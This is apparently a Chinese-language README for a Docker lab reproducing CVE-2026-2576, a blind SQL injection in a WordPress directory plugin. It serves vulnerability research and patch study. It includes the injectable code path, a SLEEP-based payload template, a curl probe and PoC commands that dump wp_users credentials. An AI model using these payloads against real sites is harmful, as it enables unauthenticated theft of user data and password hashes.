| 字段 | 详情 |
|---|
| CVE | CVE-2026-2576 |
| 插件 | Business Directory Plugin – Easy Listing Directories for WordPress |
| 厂商 | strategy11team |
| 受影响版本 | 所有 ≤ 6.4.21 的版本 |
| 已修复版本 | 6.4.22 |
| 类型 | 基于时间的盲 SQL 注入 (CWE-89) |
| 认证 | 无 — 完全未认证 |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 分配方 | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| 披露日期 | 2026 年 2 月 18 日 |
Business Directory Plugin 是一款广泛使用的 WordPress 插件,用于构建带支付支持的列表目录。其 ORM 查询构建器中的一个缺陷允许未认证的攻击者通过 payment 查询参数执行基于时间的盲 SQL 注入,从而推断数据库内容。
该漏洞位于 ORM 查询构建器中:
文件: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ 存在漏洞 — 无任何净化处理,直接进行字符串拼接
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ 安全 — 使用 $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
当 $v 是标量时,代码正确使用了 $wpdb->prepare()。当 $v 是数组时,代码会进入不安全的代码分支,将值直接拼接到 SQL 字符串中,且没有任何转义处理。
结账控制器(includes/controllers/pages/class-checkout.php)读取 payment 请求参数并将其传递给 ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id 作为值传递
);
}
PHP 会自动将查询字符串中的 payment[]=value 转换为数组 $_GET['payment'] = ['value']。这会强制 filter_args() 中的 $v 成为数组,从而进入不安全的代码分支。
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← 由于 [] 符号成为数组
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → 不安全的代码分支
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
生成的 SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- - 将尾部的 ') 注释掉。IF() 创建了一个布尔判断条件,当条件为 TRUE 时,SLEEP(N) 触发,响应被延迟;当条件为 FALSE 时,响应立即返回。
注意: ORM 每次请求会执行两次查询(一次在 get() 中,一次在 maybe_execute_query() 中),因此 SLEEP(1) 载荷会产生约 2 秒的可观察延迟,而 SLEEP(2) 会产生约 4 秒的延迟。
未认证的攻击者可以通过基于时间的响应逐字符推断和提取数据库内容,包括:
wp_users)、用户名、电子邮件地址、密码哈希6.4.22 版本中的修复为 filter_args() 的数组分支添加了净化处理:
// 修复前(存在漏洞)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// 修复后(已修补)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
安装 Python 依赖:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
等待看到以下输出:
╔══════════════════════════════════════════════════════════╗
║ Lab Setup Complete! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ BD Page ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# 预期输出:* Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# 访问 http://localhost:8082 (root / rootpass)
所有命令均在 Kali 主机上的实验根目录中运行。
使用 http://localhost:8080(主机 → Docker 端口映射)。
payment_key 必须对应 wp_wpbdp_payments 表中已存在的行。
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
预期输出:INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| 参数 | 默认值 | 说明 |
|---|---|---|
--sleep N | 1 | 每次判断的 SLEEP(N)。TRUE ≈ N×2s。值越小 = 越快,但噪音越大 |
--threads N | 4 | 并行字符位置。现代硬件上 8 效果良好 |
# 最快提取方式
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# 基线:应在 < 0.1s 内返回
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# 睡眠探测:应在约 4s 内返回(SLEEP(2) × 2 次执行)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
对比存在漏洞的版本与已修补的版本:
python3 poc/patch_diff.py
# 查看完整差异
python3 poc/patch_diff.py --full
# 下载两个版本
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# 对比存在漏洞的文件
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
差异将显示 filter_args() 的数组分支中添加了 esc_sql()。
# 停止实验环境(保留数据)
docker compose stop
# 重新启动
docker compose start
# 完全拆除 — 销毁所有卷和数据
docker compose down -v
# 从头重新运行安装程序
docker compose down -v && docker compose up setup
# 进入 WordPress 容器
docker exec -it lab_wordpress bash
# 查看 WordPress PHP 错误日志
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# 实时查看 MySQL 查询日志
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() 文档 — https://developer.wordpress.org/reference/classes/wpdb/prepare/本仓库仅用于授权的安全研究和教育目的。所有测试均在隔离的本地实验环境中进行。切勿将此工具用于您不拥有或未经明确书面许可进行测试的系统。未经授权访问计算机系统违反《计算机欺诈和滥用法》(CFAA)以及其他司法管辖区的同等法律。
作者对滥用本材料不承担任何责任。请始终遵循负责任披露的做法 — 如果您基于本研究发现了新的发现,请在发布前与厂商协调。
在 Kali Linux 上的隔离 Docker 实验环境中进行研究和开发。